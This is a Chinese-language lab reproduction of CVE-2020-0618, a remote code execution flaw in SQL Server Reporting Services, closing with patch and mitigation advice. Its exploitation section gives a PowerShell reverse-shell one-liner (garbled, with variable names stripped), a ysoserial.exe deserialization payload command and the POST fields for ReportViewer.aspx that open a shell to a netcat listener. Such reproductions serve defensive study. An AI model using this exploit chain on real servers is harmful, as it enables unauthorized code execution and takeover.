0x00简介

2月12日，微软发布安全更新披露了Microsoft SQL Server Reporting Services 远程代码执行漏洞（CVE-2020-0618）。SQL Server 是Microsoft 开发的一个关系数据库管理系统(RDBMS)，是现在世界上广泛使用的数据库之一。

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

0x01漏洞简介

获得低权限的攻击者向受影响版本的SQL Server的Reporting Services实例发送精心构造的请求，可利用此漏洞在报表服务器服务帐户的上下文中执行任意代码。

0x02影响版本

SQL Server 2012 for 32-bit Systems Service Pack 4 (QFE)

SQL Server 2012 for x64-based Systems Service Pack 4 (QFE)

SQL Server 2014 Service Pack 3 for 32-bit Systems (CU)

SQL Server 2014 Service Pack 3 for 32-bit Systems (GDR)

SQL Server 2014 Service Pack 3 for x64-based Systems (CU)

SQL Server 2014 Service Pack 3 for x64-based Systems (GDR)

SQL Server 2016 for x64-based Systems Service Pack 1

SQL Server 2016 for x64-based Systems Service Pack 2 (CU)

SQL Server 2016 for x64-based Systems Service Pack 2 (GDR)

0x03环境搭建

1. 下载安装windows server2016标准版standard

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

下载地址：

ed2k://|file|cn_windows_server_2016_x64_dvd_9718765.iso|6176450560|CF1B73D220F1160DE850D9E1979DBD50|/ //使用迅雷打开

2. 下载安装Sql Server 2016数据库

选择全新安装sqlserver

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

一直下一步到功能选择勾上"数据库引擎服务"和"Reporting Services"服务。

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

​

在”数据库引擎配置”选择混合模式创建账号 账号:sa 密码:123456便于后面连接报表服务器。

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

访问 http://localhost/ReportS，创建分页报表，提示需要安装报表服务器。

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

下载报表生成器，安装好报表服务器后，新建一个报表

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

此时就用到了我们前面设置的账号密码 sa/123456

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

然后把左侧字段拉到右测即可

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

到了这里报表就创建好了

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

保存一下，然后点击运行

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

在浏览器访问漏洞路径：

http://localhost/ReportServer/Pages/ReportViewer.aspx

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

0x04漏洞复现

1. 下载POC编译工具

下载地址：https://github.com/incredibleindishell/ysoserial.net-complied

2.使用powershell打开ysoserial.exe工具生成有效负载，执行完最后一步的时候payload已经存在于剪切板。

1. client = New-Object System.Net.Sockets.TCPClient("nc反弹的ip",监听的端口);client.GetStream();[byte[]]i = bytes, 0, data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(i);data 2>&1 | Out-String );sendback + "PS " + (pwd).Path + "> ";sendback2);sendbyte,0,stream.Flush()};$client.Close()'

2. command)

3. bytes)

4. .\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

3.下载Postman-win64-7.22.1：https://www.postman.com/

安装并启动postman，发送方式POST，地址http://localhost/ReportServer/pages/ReportViewer.aspx

Body中填入键值对

NavigationCorrector$PageState= NeedsCorrection

NavigationCorrector$ViewState=payload（payload生成方式上面讲到）

__VIEWSTATE=

如下图

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

Authorization中TYPE选择NTLM，用户名密码出填入本机用户的用户名和密码，如下图

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

注意此处如果不配置Authorization，发送后会返回401 unauthorized

配置完成后，点击发送，返回结果如下图

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

回到nc查看已经成功收到反连shell，如下图

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

我们在执行几个命令

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>

0x05修复方式

目前微软官方已针对受支持的版本发布了修复该漏洞的安全补丁，请受影响的用户尽快安装补丁进行防护。

临时修复方案

将Reporting Services监听ip改为本地。暂时禁用外部连接，保证此服务安全。

image

<figcaption data-action="image_caption" class="opt" contenteditable="true" style="display: inline-block; position: relative; min-width: 20%; max-width: 686px; margin: 8px 0px 0px; padding: 0px 0px 5px 14px; border-bottom: 1px solid rgb(230, 230, 230); font-size: 12px; line-height: 20px; color: rgb(128, 128, 128); word-break: break-all; text-align: left;">点击此处添加图片说明文字</figcaption>